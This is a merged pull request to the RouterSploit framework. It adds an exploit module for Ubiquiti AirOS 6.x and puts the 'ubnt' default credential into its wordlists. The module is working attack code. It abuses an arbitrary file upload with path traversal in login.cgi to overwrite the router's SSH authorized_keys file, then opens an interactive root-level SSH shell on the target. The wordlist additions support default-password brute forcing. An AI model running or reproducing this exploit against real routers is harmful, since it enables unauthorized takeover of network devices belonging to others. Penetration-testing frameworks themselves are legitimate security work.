Merge pull request #35 from viniciusmarangoni/master

Added exploit module to AirOS 6.x

routersploit/modules/exploits/ubiquiti/airos_6_x.py

+import requests, tempfile, os.path
+import paramiko, StringIO, termios, tty, sys, select, socket
+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_info,
+    random_text,
+    sanitize_url,
+    http_request,
+    mute,
+)
+
+class Exploit(exploits.Exploit):
+    '''
+    Exploit implementation for AirOS 6.x - Arbitrary File Upload.
+    If the target is vulnerable is possible to take full control of the router
+    '''
+
+    __info__ = {
+        'name': 'AirOS 6.x - Arbitrary File Upload',
+        'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
+        
+        'authors': [
+            '93c08539', #Vulnerability discovery
+            'Vinicius Henrique Marangoni' #routersploit module
+        ],
+
+        'references': [
+            'https://hackerone.com/reports/73480',
+            'https://www.exploit-db.com/exploits/39701/'
+        ],
+
+        'targets': [
+            'AirOS 6.x'
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
+    port = exploits.Option(443, 'Target port e.g. 443') #Default port
+
+    #Disable certificate verification warnings
+    requests.packages.urllib3.disable_warnings()
+
+    def run(self):
+        if(self.check()):
+            print_success('Target is vulnerable')
+            print_success('Trying to exploit by uploading SSH public key')
+
+            key = paramiko.RSAKey.generate(1024)
+            public_key = key.get_base64()
+            private_key = StringIO.StringIO()
+            key.write_private_key(private_key)
+
+            tmp_file_pubkey = tempfile.TemporaryFile()
+            tmp_file_pubkey.write('ssh-rsa ' + public_key)
+            tmp_file_pubkey.seek(0)
+
+            upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
+
+            upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
+            response = http_request(url=upload_url, method='POST', files=upload_params)
+
+            if(response is None):
+                print_error('Something was wrong while uploading the SSH Public Key')
+                return
+
+            print_success('Appareantly the exploit worked fine')
+            print_success('Trying to invoke a interactive SSH Shell')
+
+            client = paramiko.SSHClient()
+            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+
+            pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
+            pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
+            pseudo_privkey_file.close()
+
+            ip_target = self.target.replace('https://', '')
+            ip_target = ip_target.replace('http://', '')
+            ip_target = ip_target.replace('/', '')
+
+            client.connect(ip_target, 22, username='ubnt', pkey=pkey)
+
+            # invoking interactive shell
+            chan = client.invoke_shell()
+            oldtty = termios.tcgetattr(sys.stdin)
+
+            try:
+                tty.setraw(sys.stdin.fileno())
+                tty.setcbreak(sys.stdin.fileno())
+                chan.settimeout(0.0)
+
+                while(True):
+                    r, w, e = select.select([chan, sys.stdin], [], [])
+                    if(chan in r):
+                        try:
+                            x = unicode(chan.recv(1024))
+
+                            if(len(x) == 0):
+                                sys.stdout.write('\r\nExiting...\r\n')
+                                break
+
+                            sys.stdout.write(x)
+                            sys.stdout.flush()
+
+                        except socket.timeout:
+                            pass
+
+                    if(sys.stdin in r):
+                        x = sys.stdin.read(1)
+
+                        if(len(x) == 0):
+                            break
+
+                        chan.send(x)
+
+            finally:
+                termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
+                private_key.close()
+
+        else:
+            print_error('Target is not vulnerable')
+
+    @mute
+    def check(self):
+        base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
+
+        upload_url = base_url + 'login.cgi'
+        response = http_request(url=upload_url, method='GET')
+
+        if(response is None):
+            return False #Target not vulnerable
+
+        rand_str = random_text(length=16)
+
+        tmp_payload = tempfile.TemporaryFile()
+        tmp_payload.write('vulnerable' + rand_str)
+        tmp_payload.seek(0)
+
+        upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
+
+        response = http_request(url=upload_url, method='POST', files=upload_params)
+        
+        tmp_payload.close()
+
+        if(response is None):
+            return False #Target not vulnerable
+
+        #Response to verify if the upload was done correctly
+        airview_url = base_url + 'airview.uavr'
+        verify_upload = http_request(url=airview_url, method='GET')
+
+        #Upload empty file to "clear" the airview.uavr file
+        clean_tmp_file = tempfile.TemporaryFile()
+        clean_tmp_file.seek(0)
+        
+        upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
+        
+        http_request(url=upload_url, method='POST', files=upload_params)
+        clean_tmp_file.close()
+
+        if('vulnerable'+rand_str in verify_upload.text):
+            return True
+
+        else:
+            return False
\ No newline at end of file

routersploit/wordlists/defaults.txt

@@ -385,6 +385,7 @@ topicalt:password
 topicnorm:password
 topicres:password
 tw:tw
+ubnt:ubnt
 user:pass
 user:password
 user:public

routersploit/wordlists/passwords.txt

@@ -480,6 +480,7 @@ truetime
 trustno1
 tslinux
 tuxalize
+ubnt
 uplink
 user
 visual

routersploit/wordlists/usernames.txt

@@ -256,6 +256,7 @@ tiger
 topicalt
 topicnorm
 topicres
+ubnt
 user
 vcr
 veda